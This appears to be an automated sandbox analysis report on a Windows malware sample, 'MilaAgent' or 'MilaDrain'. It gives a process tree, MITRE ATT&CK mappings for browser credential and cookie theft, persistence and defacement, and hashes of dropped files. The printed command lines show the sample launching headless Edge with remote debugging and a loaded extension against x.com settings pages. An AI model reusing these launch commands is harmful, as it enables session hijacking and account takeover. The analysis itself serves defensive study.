                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=48711 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3924 /prefetch:1
                                                                            4⤵
                                                                            • Uses browser remote debugging
                                                                            PID:7312
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4312 /prefetch:14
                                                                            4⤵
                                                                              PID:7604
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:14
                                                                              4⤵
                                                                                PID:7616
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3788 /prefetch:14
                                                                                4⤵
                                                                                  PID:3980
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3788 /prefetch:14
                                                                                  4⤵
                                                                                    PID:5852
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:14
                                                                                    4⤵
                                                                                      PID:2700
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5356 /prefetch:14
                                                                                      4⤵
                                                                                        PID:7836
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:14
                                                                                        4⤵
                                                                                          PID:5796
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6680 /prefetch:14
                                                                                          4⤵
                                                                                            PID:2956
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:14
                                                                                            4⤵
                                                                                              PID:2388
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:14
                                                                                              4⤵
                                                                                                PID:1600
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2072,i,6364991621216948246,17394437064983387649,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:14
                                                                                                4⤵
                                                                                                  PID:7656
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-gpu --no-first-run --no-default-browser-check --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --remote-debugging-port=48711 --load-extension="C:\Users\Admin\AppData\Local\MilaDrain\extension" "https://x.com/settings/profile?mila=c343e2c3#miladrain-cmd-7d0e225fc3a5"
                                                                                                3⤵
                                                                                                • Uses browser remote debugging
                                                                                                PID:8184
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\MilaAgent\profile /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\MilaAgent\profile\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7ff881d6c188,0x7ff881d6c194,0x7ff881d6c1a0
                                                                                                  4⤵
                                                                                                    PID:6608
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2628,i,2791708531322407137,3361328301165625676,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2624 /prefetch:2
                                                                                                    4⤵
                                                                                                      PID:4340
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2628,i,2791708531322407137,3361328301165625676,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2680 /prefetch:11
                                                                                                      4⤵
                                                                                                      • System Time Discovery
                                                                                                      PID:5400
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2628,i,2791708531322407137,3361328301165625676,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3080 /prefetch:13
                                                                                                      4⤵
                                                                                                        PID:6772
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=48711 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2628,i,2791708531322407137,3361328301165625676,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
                                                                                                        4⤵
                                                                                                        • Uses browser remote debugging
                                                                                                        PID:5700
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=48711 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2628,i,2791708531322407137,3361328301165625676,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
                                                                                                        4⤵
                                                                                                        • Uses browser remote debugging
                                                                                                        PID:7480
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=48711 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2628,i,2791708531322407137,3361328301165625676,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:9
                                                                                                        4⤵
                                                                                                        • Uses browser remote debugging
                                                                                                        PID:6892
                                                                                                • C:\Users\Admin\AppData\Local\MilaAgent\MilaAgent.exe
                                                                                                  "C:\Users\Admin\AppData\Local\MilaAgent\MilaAgent.exe" --run --quiet
                                                                                                  1⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Sets desktop wallpaper using registry
                                                                                                  • Reads the TCP/IP host and domain name from the registry
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:4408
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless=new --disable-gpu --no-first-run --no-default-browser-check --user-data-dir="C:\Users\Admin\AppData\Local\MilaAgent\profile" --remote-debugging-port=48711 --load-extension="C:\Users\Admin\AppData\Local\MilaDrain\extension" "https://x.com/settings/profile?mila=4cb507b7#miladrain-cmd-0897d5d3dbe0"
                                                                                                    2⤵
                                                                                                    • Uses browser remote debugging
                                                                                                    PID:2244
                                                                                                • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                  1⤵
                                                                                                  • Modifies registry class
                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                  PID:480
                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                  1⤵
                                                                                                  • Modifies registry class
                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                  PID:1740
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                  1⤵
                                                                                                    PID:2872
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                                                                                                    1⤵
                                                                                                      PID:7664

                                                                                                    Network

                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                          Reconnaissance

                                                                                                          Resource Development

                                                                                                          Initial Access

                                                                                                          Execution

                                                                                                          Persistence

                                                                                                          Boot or Logon Autostart Execution

                                                                                                          2
                                                                                                          T1547

                                                                                                          Active Setup

                                                                                                          1
                                                                                                          T1547.014

                                                                                                          Registry Run Keys / Startup Folder

                                                                                                          1
                                                                                                          T1547.001

                                                                                                          Modify Authentication Process

                                                                                                          1
                                                                                                          T1556

                                                                                                          Privilege Escalation

                                                                                                          Boot or Logon Autostart Execution

                                                                                                          2
                                                                                                          T1547

                                                                                                          Active Setup

                                                                                                          1
                                                                                                          T1547.014

                                                                                                          Registry Run Keys / Startup Folder

                                                                                                          1
                                                                                                          T1547.001

                                                                                                          Defense Evasion

                                                                                                          Modify Authentication Process

                                                                                                          1
                                                                                                          T1556

                                                                                                          Modify Registry

                                                                                                          4
                                                                                                          T1112

                                                                                                          Credential Access

                                                                                                          Credentials from Password Stores

                                                                                                          1
                                                                                                          T1555

                                                                                                          Credentials from Web Browsers

                                                                                                          1
                                                                                                          T1555.003

                                                                                                          Modify Authentication Process

                                                                                                          1
                                                                                                          T1556

                                                                                                          Steal Web Session Cookie

                                                                                                          1
                                                                                                          T1539

                                                                                                          Unsecured Credentials

                                                                                                          1
                                                                                                          T1552

                                                                                                          Credentials In Files

                                                                                                          1
                                                                                                          T1552.001

                                                                                                          Discovery

                                                                                                          Browser Information Discovery

                                                                                                          1
                                                                                                          T1217

                                                                                                          Peripheral Device Discovery

                                                                                                          2
                                                                                                          T1120

                                                                                                          Query Registry

                                                                                                          4
                                                                                                          T1012

                                                                                                          System Information Discovery

                                                                                                          4
                                                                                                          T1082

                                                                                                          System Network Configuration Discovery

                                                                                                          1
                                                                                                          T1016

                                                                                                          System Time Discovery

                                                                                                          1
                                                                                                          T1124

                                                                                                          Lateral Movement

                                                                                                          Collection

                                                                                                          Data from Local System

                                                                                                          1
                                                                                                          T1005

                                                                                                          Command and Control

                                                                                                          Exfiltration

                                                                                                          Impact

                                                                                                          Defacement

                                                                                                          1
                                                                                                          T1491

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          0e917978-3ad4-42b9-9820-225ce4fa5e0b.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\0e917978-3ad4-42b9-9820-225ce4fa5e0b.tmp
                                                                                                          • Size 40KB
                                                                                                          • SHA256 9c5c854420ac06ad20f8d14e786aab96d17075b08d911a396b4ae1281cc69bad
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          39b4c4f7-18a4-451d-9f9f-b7d4183ab5c6.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\39b4c4f7-18a4-451d-9f9f-b7d4183ab5c6.tmp
                                                                                                          • Size 35KB
                                                                                                          • SHA256 d8a902a4355e63c505bc4f81c028435fab7d1664f647ae42cde1187a05bec057
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          88083649-1f14-4e24-8123-bb877435f6db.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\88083649-1f14-4e24-8123-bb877435f6db.tmp
                                                                                                          • Size 39KB
                                                                                                          • SHA256 6da5601fbb6a9f8e7c56d4d826bf80ff70297cefd6f4386997cb37caf7409b77
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          8aadab22-243b-40b4-981a-07d3d6acb655.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\8aadab22-243b-40b4-981a-07d3d6acb655.tmp
                                                                                                          • Size 35KB
                                                                                                          • SHA256 2a5cc93eb7128d3bc805a7d072f32ed80292100416c41ad7e29b05436bddd888
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          settings.dat
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                          • Size 280B
                                                                                                          • SHA256 2faa1b1440ef2e1a669881f74143ac7857706d1524c89e682f713c8f3d38ab23
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          settings.dat
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                          • Size 280B
                                                                                                          • SHA256 4fc7dcf7387fe20ebfe8604da12039dc01420b7c4f9203598cac361fa8e97926
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          settings.dat
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                          • Size 280B
                                                                                                          • SHA256 84008e1469627cb4093232f4804bdd66e4ec134b6c5cfd3954f47a2c08da0a1a
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          6e33b6cd-831d-4c72-8d3c-7a16719157bd.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\6e33b6cd-831d-4c72-8d3c-7a16719157bd.tmp
                                                                                                          • Size 28KB
                                                                                                          • SHA256 70ac4455a7899b31f5611b3a64149db4d8df634eed1049678f7c5d38bcabd58b
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          6e8d2bb6-6d36-47b6-9132-a1dd4c5dd37d.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\6e8d2bb6-6d36-47b6-9132-a1dd4c5dd37d.tmp
                                                                                                          • Size 14KB
                                                                                                          • SHA256 d9322aefad95f0bd51ec31937d0f031bcfc9fb96e230ea3968450d82f0fcdc6a
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          72b6b12e-9619-411a-9d34-8ef183b84c6e.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\72b6b12e-9619-411a-9d34-8ef183b84c6e.tmp
                                                                                                          • Size 6B
                                                                                                          • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          7802541d-6268-475d-ac64-f4f034eed1bc.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\7802541d-6268-475d-ac64-f4f034eed1bc.tmp
                                                                                                          • Size 70KB
                                                                                                          • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          9df4cd6f-7397-425e-ac5a-863766c9f9a0.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\9df4cd6f-7397-425e-ac5a-863766c9f9a0.tmp
                                                                                                          • Size 12KB
                                                                                                          • SHA256 cc055862f226ecfe469aa603dd5b624d0ca0fbf18038294cfdb3e37776d2ee30
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_000041
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000041
                                                                                                          • Size 70KB
                                                                                                          • SHA256 627b286d3dc6641aab3e1bd99fb3f4ef94f6e4ab845c5b24af93cdceb454ce08
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_000042
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000042
                                                                                                          • Size 419KB
                                                                                                          • SHA256 db6150e56eaf2574f450002f704d2d7d5a0810b89de21488b4f347e421bf1d6e
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_00004d
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00004d
                                                                                                          • Size 27KB
                                                                                                          • SHA256 d8f492a3b2b440f99b99ca20aa208419a2ff3434fa08992e7a5ccd4f90fe09f7
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_00004e
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00004e
                                                                                                          • Size 78KB
                                                                                                          • SHA256 d01a4b3c29c5d6fbabe837f2b40221e342081f31e5aafb5394d0fc83b2675ab1
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_000058
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000058
                                                                                                          • Size 60KB
                                                                                                          • SHA256 6dae0529c9121fb0d49ab49173db60fdb4daa997a0aec9af1f894099a215fbd6
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_00005a
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00005a
                                                                                                          • Size 72KB
                                                                                                          • SHA256 fcfaf2e8e1a5d8cff6e2c7736a10a6a3faf27d4696d5d4bf1e2d34cf3512b5e0
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_000061
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000061
                                                                                                          • Size 45KB
                                                                                                          • SHA256 df85470b6dc2e3cd6b3b740316c7e0b1732c367a9e48e62bbb46ac2cdefeb971
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_000062
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000062
                                                                                                          • Size 21KB
                                                                                                          • SHA256 8781fecf0148d5d7c5e2fbc994f25bbdbbdd1a281fc1007188461a524e5ea61c
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_000063
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000063
                                                                                                          • Size 16KB
                                                                                                          • SHA256 8463ed535eccb85e24c0d668a6055b3148777528304e8c9f8d510be0628c0467
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_000065
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000065
                                                                                                          • Size 39KB
                                                                                                          • SHA256 07dfd54361215d7af2f1e0b6dd2ee2209018d6ed18a7850c3d10456da7155550
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_000067
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000067
                                                                                                          • Size 22KB
                                                                                                          • SHA256 e49d63c87635f1c09195254dcb8adcabcb5eb4d79d159468b35e6626e069c759
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          f_00007c
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_00007c
                                                                                                          • Size 17KB
                                                                                                          • SHA256 8c4a43a7349696d083123ec643b4b8e793d1441c03642cd82d9b692a8aa8af2d
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          temp-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
                                                                                                          • Size 7KB
                                                                                                          • SHA256 53b38f9f2c924c08498a9379fa4e94d3d0ce2c1dd1f5c78bec8032c5d5534ef9
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                          Submit Download

                                                                                                          the-real-index
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                          • Size 2KB
                                                                                                          • SHA256 45d6fa6736c77e67ea3aaa66f03989869dcc1a2ec83e6dbadb2cda9b223abd9f
                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                          Submit Download

                                                                                                          0f8f6f9a-dc73-4a4e-bb31-675bee253e7a.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\0f8f6f9a-dc73-4a4e-bb31-675bee253e7a.tmp
                                                                                                          • Size 2B
                                                                                                          • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          3015fe38-8624-4c7f-b28c-6b4f660fc8fb.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\3015fe38-8624-4c7f-b28c-6b4f660fc8fb.tmp
                                                                                                          • Size 2B
                                                                                                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          379923a9-4832-41f3-9960-b4610cc55504.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\379923a9-4832-41f3-9960-b4610cc55504.tmp
                                                                                                          • Size 40B
                                                                                                          • SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
                                                                                                          • MD5 SHA1 SHA512
                                                                                                          Submit Download

                                                                                                          f4559484-0a0a-4945-8b40-39a286dfd8fe.tmp
                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\f4559484-0a0a-4945-8b40-39a286dfd8fe.tmp
                                                                                                          • Size 6KB
